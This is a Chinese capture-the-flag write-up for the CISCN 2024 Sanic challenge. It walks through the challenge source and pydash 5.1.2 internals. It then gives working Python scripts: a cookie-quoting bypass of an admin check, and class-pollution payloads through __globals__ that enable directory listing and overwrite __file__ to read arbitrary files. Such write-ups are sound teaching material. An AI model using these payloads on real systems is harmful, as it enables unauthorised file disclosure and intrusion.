目录

CISCN 2024 Sanic Writeup

目录

拿到了唯一解,简单分析一下思路

首先扫描路径发现 /src , 访问得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
    def __init__(self):
        pass

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")

if __name__ == '__main__':
    app.run(host='0.0.0.0')

cookie 里面有个 ; 直接传会被截断,一眼考的 RFC2068 的编码规则

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
Many HTTP/1.1 header field values consist of words separated by LWS
or special characters. These special characters MUST be in a quoted
string to be used within a parameter value.

These quoting routines conform to the RFC2109 specification, which in
turn references the character definitions from RFC2068.  They provide
a two-way quoting algorithm.  Any non-text character is translated
into a 4 character sequence: a forward-slash followed by the  
three-digit octal equivalent of the character.  Any '\' or '"' is
quoted with a preceeding '\' slash.

Check for special sequences.  Examples:
   \012 --> \n
   \"   --> "

登录拿到 admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests

base = ''

s = requests.Session()

s.cookies.update({
    'user': '"adm\\073n"'
})

s.get(base + '/login')

pydash 标了版本,存在 python “原型链” 污染,分析源码得到 path 解析逻辑 pydash/utilities.py:1262

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def to_path_tokens(value):
    """Parse `value` into :class:`PathToken` objects."""
    if pyd.is_string(value) and ("." in value or "[" in value):
        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we
        # support a special syntax where any string-integer surrounded by brackets is treated as a
        # list index and converted to an integer.
        keys = [
            PathToken(int(key[1:-1]), default_factory=list)
            if RE_PATH_LIST_INDEX.match(key)
            else PathToken(unescape_path_key(key), default_factory=dict)
            for key in filter(None, RE_PATH_KEY_DELIM.split(value))
        ]
    elif pyd.is_string(value) or pyd.is_number(value):
        keys = [PathToken(value, default_factory=dict)]
    elif value is UNSET:
        keys = []
    else:
        keys = value

    return keys

提取出 RE_PATH_KEY_DELIM 正则表达式分析,结合题目过滤的 _.

1
(?<!\\)(?:\\\\)*\.|(\[\d+\])

发现 \\. 会当作 . 进行处理,可以绕过题目的过滤,而 \. 会作为 . 的转义不进行分割。接下来挖掘可污染变量,注意到注册的 static 路由会添加 DirectoryHandler 到 route

1
app.static("/static/", "./static/")
1
2
3
4
5
6
directory_handler = DirectoryHandler(
    uri=uri,
    directory=file_or_directory,
    directory_view=directory_view,
    index=index,
)

如果将 directory_view 污染为 True , directory 污染为根目录即可列出根目录文件,猜测 flag 在根目录下

接下来分析污染方法,注意 pydash 只能处理 listobjdict 而不能处理 tupleset 等对象,在分析时需要排除

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    if isinstance(obj, dict):
        if allow_override or key not in obj:
            obj[key] = value
    elif isinstance(obj, list):
        key = int(key)

        if key < len(obj):
            if allow_override:
                obj[key] = value
        else:
            if key > len(obj):
                # Pad list object with None values up to the index key so we can append the value
                # into the key index.
                obj[:] = (obj + [None] * key)[:key]
            obj.append(value)
    elif (allow_override or not hasattr(obj, key)) and obj is not None:
        setattr(obj, key, value)

发现通过 app.router.name_index['__mp_main__.static'] 可以访问到 DirectoryHandler ,key 里面有个 . 。根据之前分析的正则可以使用 \. 转义。DirectoryHandlerdirectoryPath 对象(这个 class 实现似乎和平台相关),分析发现污染 __parts 为分割的路径列表即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@classmethod
def _from_parts(cls, args, init=True):
    # We need to call _parse_args on the instance, so as to get the
    # right flavour.
    self = object.__new__(cls)
    drv, root, parts = self._parse_args(args)
    self._drv = drv
    self._root = root
    self._parts = parts
    if init:
        self._init()
    return self

那么可以得到污染 DirectoryHandler 的 exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

base = ''

s = requests.Session()

s.cookies.update({
    'user': '"adm\\073n"'
})

s.get(base + '/login')

# 开启目录浏览
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}

# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

r = s.post(base + '/admin', json=data)

print(r.text)

访问 /static/ 得到 flag 文件名 24bcbd0192e591d6ded1_flag,最后污染 __file__/24bcbd0192e591d6ded1_flag访问 /src 得到 flag

1
2
3
4
5
6
7
data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}

r = s.post(base + '/admin', json=data)

print(r.text)

print(s.get(base + '/src').text)